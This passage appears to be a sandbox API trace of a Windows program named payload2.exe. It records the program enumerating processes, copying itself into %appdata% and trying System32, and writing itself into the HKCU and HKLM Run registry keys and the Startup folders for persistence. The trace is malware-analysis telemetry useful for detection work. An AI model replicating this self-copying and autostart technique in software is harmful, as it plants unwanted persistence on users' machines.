(lpString="reader_sl.exe") returned 13 [0263.352] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0263.353] lstrlenW (lpString="AdobeARM.exe") returned 12 [0263.353] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0263.353] CloseHandle (hObject=0xe0) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9528 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9570 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d95b8 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d95d8 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9620 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4d50 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9488 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d94c0 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b45f8 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4620 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9508 | out: hHeap=0x2a0000) returned 1 [0263.353] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b4648 | out: hHeap=0x2a0000) returned 1 [0263.353] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2deec0 [0263.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2eeec8 [0263.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.354] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2b4648 [0263.354] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4648, Size=0x40) returned 0x2dac00 [0263.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.354] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2b4648 [0263.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.354] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2b4620 [0263.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.354] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2b45f8 [0263.354] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b45f8, Size=0x40) returned 0x2dac48 [0263.354] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2eeec8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe")) returned 0x68 [0263.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2feed0 [0263.354] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x30eed8 [0263.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.355] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2b45f8 [0263.355] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b45f8, Size=0x40) returned 0x2dac90 [0263.355] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dac90, Size=0x80) returned 0x2d9508 [0263.355] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9508, Size=0x100) returned 0x2dbe18 [0263.355] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0263.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dbe18 | out: hHeap=0x2a0000) returned 1 [0263.355] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload2.exe", lpDst=0x2feed0, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\payload2.exe") returned 0x21 [0263.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x30eed8 | out: hHeap=0x2a0000) returned 1 [0263.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2feed0 | out: hHeap=0x2a0000) returned 1 [0263.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x1f80020 [0263.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.355] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2b45f8 [0263.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.355] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2d9bc8 [0263.355] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0263.356] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0263.356] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0263.356] lstrlenW (lpString="kernel32.dll") returned 12 [0263.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b45f8 | out: hHeap=0x2a0000) returned 1 [0263.356] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0263.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9bc8 | out: hHeap=0x2a0000) returned 1 [0263.356] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0263.356] CreateFileW (lpFileName="C:\\Windows\\System32\\payload2.exe" (normalized: "c:\\windows\\system32\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.357] CloseHandle (hObject=0xe0) returned 1 [0263.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.357] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2d9bc8 [0263.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.357] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2d9b78 [0263.357] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0263.357] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0263.357] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0263.357] lstrlenW (lpString="kernel32.dll") returned 12 [0263.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9b78 | out: hHeap=0x2a0000) returned 1 [0263.357] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0263.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9bc8 | out: hHeap=0x2a0000) returned 1 [0263.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x1f80020 | out: hHeap=0x2a0000) returned 1 [0263.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2feed0 [0263.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x30eed8 [0263.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.357] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2d9bc8 [0263.357] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9bc8, Size=0x40) returned 0x2dac90 [0263.357] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dac90, Size=0x80) returned 0x31eef8 [0263.357] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x2dbe18 [0263.357] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0263.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dbe18 | out: hHeap=0x2a0000) returned 1 [0263.357] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\payload2.exe", lpDst=0x2feed0, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload2.exe") returned 0x3b [0263.358] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x30eed8 | out: hHeap=0x2a0000) returned 1 [0263.358] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2feed0 | out: hHeap=0x2a0000) returned 1 [0263.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x1f80020 [0263.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.358] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2d9bc8 [0263.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0263.358] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2d9b78 [0263.358] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0263.358] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0263.358] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0263.358] lstrlenW (lpString="kernel32.dll") returned 12 [0263.358] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9bc8 | out: hHeap=0x2a0000) returned 1 [0263.358] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0263.358] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9b78 | out: hHeap=0x2a0000) returned 1 [0263.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0263.358] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0264.052] ReadFile (in: hFile=0xe0, lpBuffer=0x1f80020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1f80020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0264.066] WriteFile (in: hFile=0xe4, lpBuffer=0x1f80020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1f80020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0264.069] ReadFile (in: hFile=0xe0, lpBuffer=0x1f80020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1f80020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0264.069] CloseHandle (hObject=0xe4) returned 1 [0264.069] CloseHandle (hObject=0xe0) returned 1 [0264.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0264.069] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2d9b78 [0264.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0264.069] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2d9bc8 [0264.069] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0264.069] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0264.069] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0264.069] lstrlenW (lpString="kernel32.dll") returned 12 [0264.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9bc8 | out: hHeap=0x2a0000) returned 1 [0264.069] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9b78 | out: hHeap=0x2a0000) returned 1 [0264.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x1f80020 | out: hHeap=0x2a0000) returned 1 [0264.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d50 [0264.073] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d50, Size=0x20) returned 0x2d9b78 [0264.073] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9b78, Size=0x40) returned 0x2dac90 [0264.073] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dac90, Size=0x80) returned 0x31eef8 [0264.073] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload2.exe") returned 58 [0264.073] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0264.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5c) returned 0x2dc100 [0264.074] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0264.074] RegSetValueExW (hKey=0xe0, lpValueName="payload2.exe", Reserved=0x0, dwType=0x1, lpData=0x2deec0, cbData=0x74) returned 0x5 [0264.074] RegCloseKey (hKey=0xe0) returned 0x0 [0264.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dc100 | out: hHeap=0x2a0000) returned 1 [0264.074] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload2.exe") returned 58 [0264.074] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0264.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5c) returned 0x2dc100 [0264.074] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0 [0264.074] RegSetValueExW (in: hKey=0xe4, lpValueName="payload2.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload2.exe", cbData=0x74 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\payload2.exe") returned 0x0 [0264.074] RegCloseKey (hKey=0xe4) returned 0x0 [0264.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dc100 | out: hHeap=0x2a0000) returned 1 [0264.074] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0264.074] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31eef8 | out: hHeap=0x2a0000) returned 1 [0264.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2feed0 [0264.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x30eed8 [0264.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.074] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9b78 [0264.074] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9b78, Size=0x40) returned 0x2dac90 [0264.074] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dac90, Size=0x80) returned 0x31eef8 [0264.074] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x2dbe18 [0264.074] lstrlenW (lpString="") returned 0 [0264.075] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2dbf20 [0264.075] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0264.075] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x30eed8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x30eed8*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0264.075] RegCloseKey (hKey=0xe4) returned 0x0 [0264.075] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dbf20 | out: hHeap=0x2a0000) returned 1 [0264.075] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2dbf20 [0264.075] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0264.075] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x30eed8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0264.075] RegCloseKey (hKey=0xe4) returned 0x0 [0264.075] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dbf20 | out: hHeap=0x2a0000) returned 1 [0264.075] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0264.075] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.075] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dbe18 | out: hHeap=0x2a0000) returned 1 [0264.075] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x2feed0, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x69 [0264.075] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x30eed8 | out: hHeap=0x2a0000) returned 1 [0264.075] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2feed0 | out: hHeap=0x2a0000) returned 1 [0264.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x1f80020 [0264.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.075] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9b78 [0264.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.075] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9bc8 [0264.075] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0264.076] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0264.076] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0264.076] lstrlenW (lpString="kernel32.dll") returned 12 [0264.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9b78 | out: hHeap=0x2a0000) returned 1 [0264.076] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9bc8 | out: hHeap=0x2a0000) returned 1 [0264.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0264.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.076] CloseHandle (hObject=0xe4) returned 1 [0264.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.076] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9bc8 [0264.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.076] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9b78 [0264.076] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0264.076] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0264.076] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0264.076] lstrlenW (lpString="kernel32.dll") returned 12 [0264.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9b78 | out: hHeap=0x2a0000) returned 1 [0264.076] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9bc8 | out: hHeap=0x2a0000) returned 1 [0264.076] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x1f80020 | out: hHeap=0x2a0000) returned 1 [0264.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x2feed0 [0264.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x30eed8 [0264.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4d80, Size=0x20) returned 0x2d9bc8 [0264.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9bc8, Size=0x40) returned 0x2dac90 [0264.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dac90, Size=0x80) returned 0x31eef8 [0264.077] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x2dbe18 [0264.077] lstrlenW (lpString="") returned 0 [0264.077] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2dbf20 [0264.077] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0264.077] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x30eed8, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0264.077] RegCloseKey (hKey=0xe4) returned 0x0 [0264.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dbf20 | out: hHeap=0x2a0000) returned 1 [0264.077] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0264.077] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dbe18 | out: hHeap=0x2a0000) returned 1 [0264.077] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x2feed0, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x4a [0264.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x30eed8 | out: hHeap=0x2a0000) returned 1 [0264.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2feed0 | out: hHeap=0x2a0000) returned 1 [0264.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x1f80020 [0264.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d4d80 [0264.077] RtlReAllocateHeap (Heap=0x2a0000, 